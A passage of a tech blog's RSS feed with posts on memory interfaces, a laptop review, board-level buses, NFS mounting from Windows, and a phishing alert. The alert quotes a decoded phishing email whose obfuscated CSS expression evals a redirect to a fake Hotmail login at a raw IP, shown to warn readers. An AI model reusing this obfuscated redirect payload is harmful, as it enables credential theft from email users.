/&gt;&lt;/div&gt;&lt;div&gt;(8)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The difference between QDR and DDR is that the former is dual port while the latter in single port. i.e, DDR bus is bi-directional. To deal with signal integrity issues, ODT can be enabled on DDR chips.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(9)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;BTW, Qsys is fantastic. Although you don't have to use Qsys, Qsys is a great way to connect processor to the DDR/QDR&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-5616789368062053685?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/L7ThgECnEd_iytUqSeEpGdPmZfk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L7ThgECnEd_iytUqSeEpGdPmZfk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/L7ThgECnEd_iytUqSeEpGdPmZfk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L7ThgECnEd_iytUqSeEpGdPmZfk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/0Cy6yUsTmv4/lab-notes-altera-uniphy-for-ddr-and-qdr.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>3</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/05/lab-notes-altera-uniphy-for-ddr-and-qdr.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-6526469451417602202</guid><pubDate>Fri, 14 Jan 2011 03:30:00 +0000</pubDate><atom:updated>2011-05-19T20:33:21.526-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><title>Lenovo Thinkpad X100e</title><description>&lt;div&gt;It is always hard to appease everybody. To my delight, x100e has taken its own stand. I have to give Lenovo credit for doing a good job despite all the negative comments on x100e's speed and power efficiency. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I saw some reviews that put x100e toe-to-toe against Sony vaio x. And vaio x is thinner than x100e in the side-to-side match. However, vaio x costs more than $1000. It is unfair to pit x100e against something with a higher order price tag. Besides vaio x is using SSD, which has no doubt contributed to the weight loss. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However, I do suggest to upgrade the OS to Windows 7 Professional or Ultimate if possible. The AMD processor x100e has supports AMD-T, which is imperative to XP mode under Windows 7. With XP mode, you can actually have two  separate computers in one box. The XP mode is basically a Virtual PC  with Windows XP Service Pack 3. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I heard people complaining about the speed of the single core processor used in x100e, but the speed seems ok to me. Maybe these guys put too much workload on this $400 laptop, or they are just being impatient. Hey, patience is a virtue  given the fact that it costs below $500, including shipping and tax. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However I have to blame Microsoft for the inflated size of its software. It  took me two nights to download and install all the patches for both  Windows 7 and Windows XP.If my memory serves me well, Gates III once  said 640KB memory is big enough for software. When were those giddy  days? &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Having said that, one thing I don't like about X100E is the absence of DVD/CD roms. But in the days when flash drive is more than  10GB, who needs them anyway? &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-6526469451417602202?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/bGgjZ74yqOnCThiaWU2gu7MPhTE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bGgjZ74yqOnCThiaWU2gu7MPhTE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/bGgjZ74yqOnCThiaWU2gu7MPhTE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bGgjZ74yqOnCThiaWU2gu7MPhTE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/0CeEj6M_Zgk/lenovo-x100e.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/01/lenovo-x100e.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-8376922466310293615</guid><pubDate>Fri, 17 Sep 2010 07:37:00 +0000</pubDate><atom:updated>2011-05-20T13:57:35.770-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">FPGA-ASIC-HW</category><title>High Speed Bus on the Board</title><description>&lt;div&gt;It is not unusual to have high speed data bus connecting two ICs on the board. However, high speed data bus is always a design challenge at both the IC and board level. The design options for such high speed buses are:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Use System Synchronous Clocking&lt;/div&gt;&lt;div&gt;A common clock goes to both ICs on the board. The clock trace has to be matched for length. Susceptible to PVT variation and clock skew, which limits the bus throughput.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Example : parallel PCI bus&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Use Source Synchronous Clocking&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;==&gt; (A)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt; Single end parallel bus with single end clock&lt;/div&gt;&lt;div&gt;To drive such bus, the drive strength should be carefully controlled to reduce ringing and reflection. If FPGA is used, the current strength can be controlled in IO pad.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If using FPGA to receive data from such bus, in addition to terminations, make sure the receiving data is registered at IO pad. (For Altera FPGA, there is an assignment option called "Fast Input Register" for this. And in the fitter report, Resource Section / Input Pins, make sure the "Input Register" is yes for the correspondent pin after compiling.) &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pros: easy to implement.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Cons: cross talk and skew, which limits the bus speed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;==&gt; (B)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Differential serial data bus, single end clock &lt;/div&gt;&lt;div&gt;The clock frequency is relatively low as compared to the data bus. The receiving end needs to use PLL to restore the clock to the same frequency as bus frequency. This would introduce some phase shift. One way to solve this is to use PLL generate multiple clock with the same frequency, but different initial phase (say 4 phases, 0 degree, 90 degree, 180 degree, 270 degree). The serial data bus should have a fixed sync pattern at the beginning of each frame. Use the four clocks generated to detect such pattern, the one can pick up such pattern has the right phase.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pros: less cross talk and skew, more reliable than parallel bus&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Cons: clock is out of phase with data, need to use multiple clock with different initial phase to detect the data pattern. More complicated than parallel bus.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Example: DigRF V3 &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;==&gt; (C)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;differential serial data bus, embed clock in the serial link&lt;/div&gt;&lt;div&gt;Pros: can transfer at much higher throughput than (A) and (B), less pins than (A) or (B)&lt;/div&gt;&lt;div&gt;Cons: Have to use SERDES&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Example : SATA&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-8376922466310293615?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/y1TiQ5OZYb2oWbOSgkpsr6Xs2tg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/y1TiQ5OZYb2oWbOSgkpsr6Xs2tg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/y1TiQ5OZYb2oWbOSgkpsr6Xs2tg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/y1TiQ5OZYb2oWbOSgkpsr6Xs2tg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/bTgdQjoYn1o/high-speed-bus-on-board.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/09/high-speed-bus-on-board.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-1605801003227566341</guid><pubDate>Fri, 16 Jul 2010 07:03:00 +0000</pubDate><atom:updated>2011-05-19T20:33:21.527-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><title>Security Alert : New Phishing Tactics Unmasked</title><description>&lt;div&gt;Evil engineers have never been in short supply in this world! (Don't worry. I'm the good guy :-). This morning their nefarious attempt to phish my hotmail password was thwarted by my paranoid mind :-). Yes, Paranoiacs are not used to the moment of weakness!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is what happened: (This line of credit goes to Mr. Monk!)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The bad guy sends you an email in HTML&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The whole email is encoded in MIME Base64. So the original source looks all fuzzy!&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;In fact the original HTML email looks like the following after decoding:&lt;/div&gt;&lt;div&gt;.....&lt;br /&gt;&amp;lt;STYLE&amp;gt;&lt;br /&gt;.ExternalClass&lt;br /&gt;{top:rgb('88',80,'180);top:rgb(') !important&lt;br /&gt;height:expression((window.r==1)?x=8:(eval(window.location.&lt;/div&gt;&lt;div&gt;replace('hfuckttfuckp:fuck⁄fuck⁄2fuck06.191.fuck132.74⁄&lt;/div&gt;&lt;div&gt;sn123w.snt1fuck23.mafuckil.fucklivefuck.cfuckom⁄hofucktmailfuck.htm'.&lt;/div&gt;&lt;div&gt;replace(⁄fuck⁄g,'')))==2)||(r=1));}&lt;br /&gt;&amp;lt;⁄STYLE&amp;gt;&lt;br /&gt;&amp;lt;⁄BODY&amp;gt;&amp;lt;⁄HTML&amp;gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(4)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;As you can see, after remove all the F* word in the above URL, it will redirect you to a new page. And the new page looks just like Hotmail's account login page. So you are under the impression that somehow you are logged-off by the mail server. Those unwary minds probably would take this as another Microsoft glitch. And they start to punch in the password while bad guys are laughing their sides off somewhere in this world (maybe in a dark basement or dungeon, somewhere like that. In movies bad guys always love that kind of real estate :-)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So here is what we can do to let those bad guys down:&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Try to access your hotmail account through a desktop client, such as Windows Live Mail. Try NOT to access the hotmail through browser.&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Stay alert when your page gets redirected. Double check the address bar!&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The following link can help you to decode MIME base 64 online:&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.opinionatedgeek.com/dotnet/tools/base64decode/" target="_blank"&gt;http://www.opinionatedgeek.com/dotnet/tools/base64decode/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And to those evil engineers: Enjoy the sunshine in Miami while you still can! By the way, do you know anyone in Russian mafia (or Chinese mafia)? :-)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-1605801003227566341?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9F1ITuwcZAtbqJ2K5pkRJY8i_tc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9F1ITuwcZAtbqJ2K5pkRJY8i_tc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9F1ITuwcZAtbqJ2K5pkRJY8i_tc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9F1ITuwcZAtbqJ2K5pkRJY8i_tc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/zKNXCIuZhAs/security-alert-new-phishing-tactics.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>1</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/07/security-alert-new-phishing-tactics.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-4910345671029822350</guid><pubDate>Fri, 25 Jun 2010 04:33:00 +0000</pubDate><atom:updated>2011-05-20T01:40:52.093-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>NFS mount through "Windows Service for Unix" (4)</title><description>(Continue from &lt;a href="http://hax4.blogspot.com/2010/06/nfs-mount-through-windows-service-for_20.html" target="_blank"&gt;previous Post&lt;/a&gt;)&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;(7)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Then go to "Maps" tab (Still under User Name Mapping), choose "simple map". Enter the correct Windows Domain Name, list all the names and choose your Windows user name. For Linux domain, probably you can try "PCNFS". Enter your correct Linux account name as well&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(8)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Click Apply and Reload&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(9)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Now if you open your windows explorer and point it to the correspondent NFS folder, you should be able to see your Linux home directory, hopefully!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(10)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Map a Drive Letter for your NFS folder: &lt;/div&gt;&lt;div&gt;       Here comes one more tricky part -- The path has to use the forward slash, such as myserver:/data/home, but I wouldn't blame this entirely on Microsoft although they have got the chance to correct it in the first place.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(The End)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-4910345671029822350?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aR0yT3BhXSXEDTWQcAs6anm2iAk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aR0yT3BhXSXEDTWQcAs6anm2iAk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aR0yT3BhXSXEDTWQcAs6anm2iAk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aR0yT3BhXSXEDTWQcAs6anm2iAk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/r4gRemOssx4/nfs-mount-through-windows-service-for_24.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/nfs-mount-through-windows-service-for_24.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-2587791970021588342</guid><pubDate>Sun, 20 Jun 2010 23:26:00 +0000</pubDate><atom:updated>2011-05-20T01:40:52.094-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>NFS mount through "Windows Service for Unix" (3)</title><description>&lt;div&gt;(Continue from &lt;a href="http://hax4.blogspot.com/2010/06/nfs-mount-through-windows-service-for.html" target="_blank"&gt;previous post&lt;/a&gt;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(4)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Open your text editor, and make two text files called "passwd" and "group". &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the "passwd" file, type in the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;root:x:0:0:root:/root:/bin/bash&lt;/div&gt;&lt;div&gt;user_name:x:user_id:group_id:user_name:/user_name:/bin/bash&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;where "user_name" is the user name you have got with your Linux account. "user_id" and "group_id" are what you write down from step (2)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And you can leave the "group" file as blank content. Save those two files in the folder "C:\etc"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(5)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Assuming your installation from step (3) is successful, you should see the "User Name Mapping " service by going to "Control Panel / Administrative Tools / Services". Please change it to "automatic". (Yes, it is odd that this service is disabled by default. Seriously, folks: Please inform Microsoft that half-assed good deeds do not help their bottom line.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(6)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;From Windows Desktop, go to Start / All Programs / Windows Service for Unix / Services for Unix Administration. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Under User Name Mapping, select "Use Password and Group Files". And point the path to "C:\etc\passwd" and "C:\etc\group"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(To be continued ... )&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-2587791970021588342?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QFq3A3tTaVV8-Kye4UQN5driCZY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QFq3A3tTaVV8-Kye4UQN5driCZY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QFq3A3tTaVV8-Kye4UQN5driCZY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QFq3A3tTaVV8-Kye4UQN5driCZY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/1PkOaBh23qM/nfs-mount-through-windows-service-for_20.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/nfs-mount-through-windows-service-for_20.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-1609733205252600453</guid><pubDate>Sat, 19 Jun 2010 22:38:00 +0000</pubDate><atom:updated>2011-05-20T01:40:52.094-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>NFS mount through "Windows Service for Unix" (2)</title><description>&lt;div&gt;(Continue from &lt;a href="http://hax4.blogspot.com/2010/06/access-nfs-through-windows-service-for.html" target="_blank"&gt;previous post&lt;/a&gt;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Find out your NFS server&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One popular setting is to access all the Linux machines with just a universal account. No matter which server you login to, you will get mounted to the same home directory. The account authorization is through NIS, and there is one NAS storage server (Or just a regular Linux box) that provides NFS share to all other servers. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;To find out the name/ip address of your NAS server, you could do as following:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;===&gt; &lt;/span&gt;(a)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;login to any Linux server you like&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;===&gt; &lt;/span&gt;(b)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;type in "mount", and find out where your home directory is mounted on. You should&lt;span class="Apple-style-span" style="white-space: pre;"&gt; &lt;/span&gt;see something like:&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;myserver:/data/home on /home type nfs  (rw, rsize=8192, wsize=8192, timeo=14, intr, addr=x.x.x.x)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;===&gt; &lt;/span&gt;(c)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;login to the NAS storage server you have found in step (b)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;===&gt; &lt;/span&gt;(d)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;type in "cat /etc/exports" Probably you would see something like&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;                &lt;/span&gt;/data/home           *(rw,no_root_squash)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;Sometimes paranoid IT folks would add some extra security, such as only allowing NFS shared be accessed from a certain IP, which would be reflected in the /etc/exports. If that is the case, I feel sorry for you :-(&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Use command "id" to find out your user id and group id. Write them down because you would need them later to set up your Windows Name Mapping Service.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Download and Install Windows Service for Unix on your Windows machine&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(To be continued ...)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-1609733205252600453?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FLzaFbdzQ5TBIKWEhfnKMmLpcmM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FLzaFbdzQ5TBIKWEhfnKMmLpcmM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FLzaFbdzQ5TBIKWEhfnKMmLpcmM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FLzaFbdzQ5TBIKWEhfnKMmLpcmM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/9VfBfPGxHWQ/nfs-mount-through-windows-service-for.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>1</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/nfs-mount-through-windows-service-for.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-4676906864636942414</guid><pubDate>Fri, 18 Jun 2010 05:10:00 +0000</pubDate><atom:updated>2011-05-20T01:40:52.095-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>NFS mount through "Windows Service for Unix" (1)</title><description>&lt;div&gt;What a long title!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In a hybrid computing environment, where you have to work on both Windows and Linux platforms, it would be absolutely convenient to have your Linux home directory mapped to a Windows drive letter. The usual solution is to utilize Samba service on the Linux side. However, sometimes Samba service could be disabled by IT guys out of security concern. (At least that's their universal excuse for every impairment they have made.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;An alternative way is to use NFS. To be able to mount to Linux NFS share, a NFS client has to be installed on the Windows side. On top of that, a name mapping service is also needed. Fortunately, Microsoft has provided something called "&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=896c9688-601b-44f1-81a4-02878ff11778&amp;amp;displaylang=en" target="_blank"&gt;Windows Services for Unix&lt;/a&gt;", which can be &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=896c9688-601b-44f1-81a4-02878ff11778&amp;amp;displaylang=en" target="_blank"&gt;downloaded for free&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So here is what you have to do:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;( To be continued ... )&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-4676906864636942414?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/35RV38hYb5MlU4qQtv8LvvQ15wU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/35RV38hYb5MlU4qQtv8LvvQ15wU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
